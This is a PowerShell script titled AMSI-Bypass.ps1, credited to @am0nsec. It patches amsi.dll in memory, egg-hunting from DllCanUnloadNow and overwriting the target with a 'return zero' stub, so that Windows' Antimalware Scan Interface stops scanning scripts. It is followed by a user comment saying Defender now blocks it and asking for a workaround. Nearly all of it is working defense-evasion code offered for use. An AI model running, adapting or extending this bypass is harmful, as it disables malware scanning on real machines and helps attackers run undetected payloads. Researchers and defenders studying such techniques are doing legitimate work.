AMSI-Bypass.ps1

Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

If ([IntPtr]::Size -eq 8) {
	Write-Host "[+] 64-bits process"
    [byte[]]$egg = [byte[]] (
        0x4C, 0x8B, 0xDC,       # mov     r11,rsp
        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx
        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp
        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi
        0x57,                   # push    rdi
        0x41, 0x56,             # push    r14
        0x41, 0x57,             # push    r15
        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h
    )
} Else {
	Write-Host "[+] 32-bits process"
    [byte[]]$egg = [byte[]] (
        0x8B, 0xFF,             # mov     edi,edi
        0x55,                   # push    ebp
        0x8B, 0xEC,             # mov     ebp,esp
        0x83, 0xEC, 0x18,       # sub     esp,18h
        0x53,                   # push    ebx
        0x56                    # push    esi
    )
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"

$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

$patch = [byte[]] (
    0x31, 0xC0,    # xor rax, rax
    0xC3           # ret  
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null

this script no longer works on the latest Windows 10 machine with Defender on it. Could this be the reason why: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=VirTool%3aPowerShell%2fAmsiTamper&threatid=2147835762 ?

Are you able to work around this new block?